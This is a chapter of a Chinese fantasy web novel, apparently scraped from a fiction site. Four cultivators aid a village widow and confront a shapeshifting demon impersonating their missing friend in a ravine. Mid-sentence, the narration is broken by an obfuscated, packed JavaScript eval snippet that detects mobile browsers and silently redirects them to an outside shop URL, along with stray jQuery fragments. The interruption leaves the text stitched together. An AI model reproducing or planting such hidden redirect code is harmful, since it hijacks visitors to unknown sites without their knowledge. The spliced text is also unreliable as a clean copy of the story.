文趣网 > 都市小说 > 执灯引 > 19. 笛鸣雾惊
    叶轻舟眉头一皱:“被鸟儿吃了?”

    “说是山上的树被他们砍光了,鸟儿没了吃食,没了栖息的地方,就……就报复咱们来了。”张崔雨说不下去了,捂着脸哭了起来。

    小女孩仰起脸,伸手去擦她娘脸上的泪,奶声奶气地说:“娘,别哭。爹会回来的。”

    张崔雨哭得更厉害了。

    “可怜我的女儿现在也身患病疾了,难道我真的是什么十恶不赦之人吗?老天要这样对待我!”

    祁佳年沉默了片刻,闻言,连忙伸出手,轻轻握住了小女孩的手腕。

    这一摸,却让她有些许震惊。

    那小孩的脉象虚浮,恐怕是外感了风寒,营卫不调,浑身发热。虽不算什么大病,可拖了三天还没退热,在这缺医少药的穷乡僻壤,确实够一个当娘的焦心了。

    她将一缕灵力渡入小女孩体内,那灵力沿着经脉缓缓游走,所过之处,寒气如融雪般消散。小女孩先是愣了一下,然后整个人肉眼可见地松弛下来,小脸从苍白变成了淡淡的粉色,额头上的热度也退了下去。

    “不烧了……”张崔雨摸了摸女儿的额头,不敢相信地看向祁佳年,“你……你是修行之人!”

    祁佳年还没来不及作答,江飞尘便瞎逞能道:“是的没错,我们本事可多了,我们可是大名鼎鼎的青州白云书院弟子……”

    祁佳年无奈的扶住了额头。

    闻言,张崔雨猛地跳了起来,“你们,你们果真是修士!”

    四人都没说话,张崔雨便默认了。

    江飞尘这时候终于想起来自己还有个装满了药的锦囊。他蹲在地上,把锦囊翻了个底朝天,找出一瓶治风寒的药丸,塞进张崔雨手里:“这个一天吃三次,一次两粒。还有这个,防身的,你把它挂在门后面,寻常邪祟进不来。”

    他一股脑地往外掏东西,驱邪符、护身玉牌、驱虫香囊,堆了满满一桌。张崔雨看得目瞪口呆,嘴唇哆嗦了半天,只挤出一句:“这……这太贵重了,我不能要……”

    “拿着吧。”叶轻舟靠在门框上,双手抱胸,“这些东西在我们那儿堆着也是落灰,还不如给你派上用场。更何况,不要枉费我们江少爷一片心意嘛。”

    最后这句话就说的有点不对味了。江飞尘连忙打住,“停停停,什么叫我什么心意,我那是见她日子过那么惨,仇家看了都要释怀的节奏。”

    “是是是,江少爷说什么都是对的。”

    叶轻舟说这话的时候语气很随意,可祁佳年注意到,他的目光一直在扫视这间屋子的角角落落——墙壁、房梁、门后。那不是一个纨绔少爷该有的眼神,倒像是习惯了在暗处观察的人。

    张崔雨终于不再推辞,千恩万谢地把东西收好。

    祁佳年看着她,忽然开口:“你夫君常去砍树的地方,在哪儿?”

    张崔雨一愣:“你……你要去找他?”

    “嗯。”

    “不行不行不行……”张崔雨连连摆手,急得眼泪又要掉下来,“那地方太危险了,你们几个年纪轻轻的,还有大好前程,不要以身犯险。我不能害你们。”

    “你方才说,那地方有鸟吃人。”祁佳年的声音很平静,“我们就是来查这件事的。况且,我们也有好友走失在此地,就当顺路了。”

    “查?”张崔雨茫然地看着她,“这事可不简单啊。”

    祁佳年站起身,看着张崔雨的眼睛,一字一句地说:“没关系的,出了事我们自己也认。”

    张崔雨张了张嘴,想说些什么,可对上祁佳年那双沉静的眼睛,到嘴边的话又咽了回去。她沉默了很久,久到屋子里的空气都快凝固了,才终于开口。

    “出了村往东,翻过两道山梁,有一条沟,当地人叫‘鬼哭沟’。沟尽头有一座山,那山上……”她顿了顿,声音发涩,“那山上已经没什么树了。”

    没什么树了。

    祁佳年默念了一遍这句话,心里忽然涌起一股说不清的凉意。

    她站起身,看向叶轻舟。叶轻舟点了点头。

    “走。”

    江飞尘掏出传送符,灵光一闪,四人的身影从这间昏暗的小屋里消失。

    张崔雨愣在原地,半晌才回过神来。她抱着女儿走到门口,推开那扇半掩的木门,门外空荡荡的,只有还未散尽的薄雾,像一层轻纱,盖在寂静的村子上空。

    什么都没有。

    好像那四个人从来没有来过。

    小女孩窝在母亲怀里,手里还攥着一根从那只灰鸟身上掉落的羽毛。她把它举到眼前,对着光看,那羽毛的边缘泛着一层淡淡的、几乎看不见的银光。

    “娘,”她忽然说,“那个姐姐身上,有好香好香的味道。”

    张崔雨低头看着女儿:“什么味道?”

    小女孩想了想,认真地说:“就是……很好闻的味道。像春天。”

    东边的山梁上,祁佳年停下了脚步。

    她回头看了一眼来时的路——何家坳已经隐没在雾里,看不见了。可那个小女孩的话还在她耳边回响。

    “那只鸟很漂亮,翅膀底下有一小撮白毛。”

    可这片土地光秃秃的,连人都快养残废了,哪儿还能养活鸟?

    除非,那只鸟不是野生的。

    除非,有人把它养在身边,驯得通人性、通灵性,然后在恰当的时候放出去,让它叼走锦囊,把它引到何家坳,让它钻进张崔雨的家,让它把锦囊丢在小女孩看得见的地方。

    每一步都算得刚刚好。

    多一步不多,少一步不少。

    如此精打细算……会是谁呢?风满楼。

    是他吗?

    祁佳年攥紧了袖中的炊烟笛,笛身在她掌心微微发烫。

    她不知道风满楼为什么要这么做,不知道他是敌是友,不知道他面具底下藏着什么样的脸、什么样的心思。但她知道一件事……

    他一直在看着她。

    从她重生的那一刻起,从她拿到炊烟笛的那一刻起,从她踏进白云书院的那一刻起……不,也许更早。

    也许从她还不知道有他这么一个人的时候,他就已经在看着她了。

    她想,等她再次遇上他,一定要好好问个清楚。

    “发什么呆?能不能别磨磨唧唧的,赶紧的我好困,完事回去睡觉了。”叶轻舟的声音从前面传来。

    他已经走出去好几步了,正回头看着她,斗笠歪歪斜斜地扣在脑袋上,露出光溜溜的下巴和那张永远不正经的脸。

    可他的眼睛是正经的。

    “伤疤都好了?现在有力气了?说话都这么嚣张了?!”祁佳年收回目光,跟上了他的脚步。

    叶轻舟点头道:“多亏了我江兄弟的灵丹妙药,我现在都可以围着这座山跑三圈啦,你以为跟你这些小娘们一样。”

    说着,他伸了个懒腰。

    那些奇奇怪怪的药罐药效似乎极好,让叶轻舟伤势有所好转,竟然这么快就生龙活虎了。

    但她还是有所顾虑,问:“胸口被打穿那洞呢?也没事了?”

    叶轻舟率然道:“哥早就说过了,我是打不死的小强。”

    他虽是开玩笑的语气,祁佳年却听出了言外之意:这是一位拥有逆天自愈能力的废物。

    好一个含着金汤匙出生的贵气公子哥,可惜灵根不行。

    这时,江飞尘已经把传送符捏在了手里,嘴里念叨着坐标,表情认真得不像平时的他。邵梁站在最前面,火枪已经出袖,枪口朝下,蓄势待发。

    四人在山脊上站定,风从东边吹来,灌进衣领,凉飕飕的。

    远处,那条被当地人叫做“鬼哭沟”的山谷横亘在暮色中,沟底黑黢黢的,看不见深浅。沟的尽头,是一座山。

    一座光秃秃的山。

    没有树,没有草,只有裸露的黄土和碎石。

    祁佳年盯着那座山,炊烟笛在她掌心烫了一下。

    不是错觉。

    笛子在提醒她。

    那里有东西。

    鬼哭沟比想象中更深。

    两侧的山壁陡峭如削,夹出一条窄窄的裂缝,抬头只能看见一线天。

    江飞尘走在最前面,手里攥着一一沓驱邪符,手指哆哆嗦嗦。那张符被他攥得皱巴巴的,边角都起了毛,可他死活不肯松手。

    “我说,”他压低声音,嗓子眼儿里像是卡了什么东西,“咱们非得走这条沟吗?鬼气森森的,我鸡皮疙瘩掉一地了,不能从山上绕过去?”

    “山上没路。”邵梁言简意赅。

    “那咱们可以现开一条……我拿霹雳符……”

    “你有那灵力吗?”邵梁问道。

    “那倒没有。”江飞尘缩脖子。

    “闭嘴。”叶轻舟从后面拍了他后脑勺一下,不重,但江飞尘还是吓得一哆嗦,“你一个拿大麻袋装装备的人,怎么胆子比老鼠还小?”

    江飞尘张了张嘴想反驳,可一想到自己红肿的脸,又把嘴闭上了。

    祁佳年走在最后面。

    她没有言语,也没看路。她的目光一直落在那支灰扑扑的炊烟笛上,手指在笛身上一下一下地摩挲……笛子在发烫。

    从她踏进鬼哭沟的那一刻起,它就一直在发烫。那种热度不烫手,却烫心,像有什么东西在笛身深处一下一下地跳动,频率越来越快,越来越急。

    仿佛正提醒着她是有什么东西在靠近。

    “停。”她忽然开口。

    四个人同时停下脚步。江飞尘吓得手里的驱邪符都掉了,弯腰去捡的时候差点一头栽进碎石堆里。

    祁佳年抬起头,看向沟的尽头。

    那里是一片空地。不大,方圆不过十几丈,三面被山壁围住,像一个天然的瓮。空地上寸草不生,只有裸露的黄土和

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712445|208460||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    碎石,以及……一个人。

    白衣如雪,墨发如瀑,白瞳微垂。

    许星河。

    “看来不用我们去找了,他已经在这等好了。”祁佳年道。

    江飞尘傻眼道:“诶找到了,许兄你去哪了可叫我们担心坏了,你怎么会在这儿啊?你没事……”

    说着他就要上前。幸好叶轻舟反应及时,眼疾手快给他捞了回来。

    “你看清楚,这到底是谁?”

    说着,许星河冲江飞尘咧嘴一笑。这一笑可把江飞尘吓得不轻,“他,他他他他不是看不见吗?”

    叶轻舟:“你以为?”

    “幻面。”祁佳年开口,声音不大,却在这片寂静的谷地里回荡开来,“你不用装了,坦诚一点吧。”

    “段姑娘,”他开口了,声音清润如玉,和许星河的声音一模一样,“你在说什么?”

    江飞尘看看他,又看看祁佳年,一脸茫然。叶轻舟眯起了眼睛,邵梁的手已经按在了火枪上。

    祁佳年往前走了一步。

    “你是上古期的妖兽,因作恶多端被白云书院擒拿封印了一千年。”她说,声音不急不缓,像在陈述一件再平常不过的事,“你虽法力高强,可妖就是妖,法力再高,也改不了妖作恶的本性。我真的很好奇,天天伪装别人的模样,你的本相是有多不堪?丑陋到你自己都无法接受不愿意看了吗?整日躲在别人皮囊之下,借别人身份活着,真像一只见不得光的老鼠。”

    说完,空地中央,“许星河”动了。

    “你知道我是怎么认出你的吗?”她继续说,声音依旧不急不缓,“不是因为你的破绽,是你根本没有破绽。你太像了,像到每一根头发丝都一模一样。可许星河这个人——他不看人的时候,眼睛是垂着的;看人的时候,眼睛也是垂着的。因为他看不见,所以他从不会用眼睛去追踪一个人的位置。”

    她顿了顿。

    “你刚才用眼睛看我了。你盯着我的方向,追踪我的位置,还特意把脸转过来对着我。一个盲人,不会做这种事。”

    “有意思。”他开口,声音还是许星河的声音,可语调完全变了,变得尖锐、阴柔,“你比那个姓叶的小子有意思多了,他只会嚷嚷着让我吃他,可他有点皮糙肉厚,也不知道是什么金刚不坏之身,受了我一掌还毫发无损,着实无趣。”

    他抬起手,修长的手指捏住自己的下颌,像剥面具一样,缓缓地、一层一层地将那张脸撕了下来。

    他边蜕皮便道:“你不一样,你身上的气息更有利于我恢复法力。”

    没有血。没有肉。那张脸底下不是另一张脸,而是一团混沌的、不断流动的灰白色雾气,像一团被搅烂的浆糊,在月光下翻滚、蠕动。雾气之中,隐约可见两只细长的、没有瞳仁的眼睛,泛着幽幽的绿光,像两盏鬼火,悬在半空中。

    真身。

    这就是幻面的真身——一团没有固定形态的、丑陋的、令人作呕的雾气。它没有脸,没有身体,什么都没有。它只是一团会模仿、会欺骗、会吞噬的虚无。

    江飞尘干呕了一声。

    叶轻舟的眉头皱得死紧,却没有后退。邵梁的火枪已经抬了起来,枪口对准那团雾气,纹丝不动。

    幻面的真身在空中翻滚了几下,似乎很不适应这种裸露的状态。它发出一声尖锐的嘶鸣,那声音不像任何活物的,倒像是金属刮擦玻璃,刺得人耳膜生疼。

    “你以为此番话就想妄图激怒我?你以为看到我的真身,就能打败我?”它的声音从那团雾气里传出来,忽远忽近,像从四面八方同时涌来,“幼稚。我的真身没有缺点,因为我没有形状。没有形状的东西,就没有弱点。”

    祁佳年看着它,炊烟笛在她掌心烫得快要握不住了。

    “你说错了。”她说,“没有形状,就是你的缺点。”

    幻面的绿光微微一滞。

    “你忘了自己是如何被封印的了吗?一个密封的罐装法器,就能把你吸进去。”祁佳年的声音很轻,却一字一句地扎进那团雾气里,“你这么急着出来吃那些无辜村民,便是着急恢复法力吧,被封印的这些年抽取了你不少法力吧?”

    听祁佳年这么说,叶轻舟立刻反应了过后,确实如此,若他真有能力逃脱出白云书院又何须假借他人模样?

    料想至此,大家仿佛觉得胜算多了几分。

    却不料幻面似乎看穿了他们的内心,讥笑道:“瘦死的骆驼比马大,凭你们几个还不行。”

    眼见幻面雾气腾腾滚向自己,祁佳年飞速转身闪躲,她的手指在炊烟笛上轻轻一叩,

    笛身发出一声低鸣,那声音很轻,像远山寺庙里传来的第一声晨钟,悠远、绵长,却带着一种不可抗拒的力量。

    幻面的雾气猛地一缩,像是被什么东西烫了一下。

    “你……”它的声音变了,“你手里那是什么?”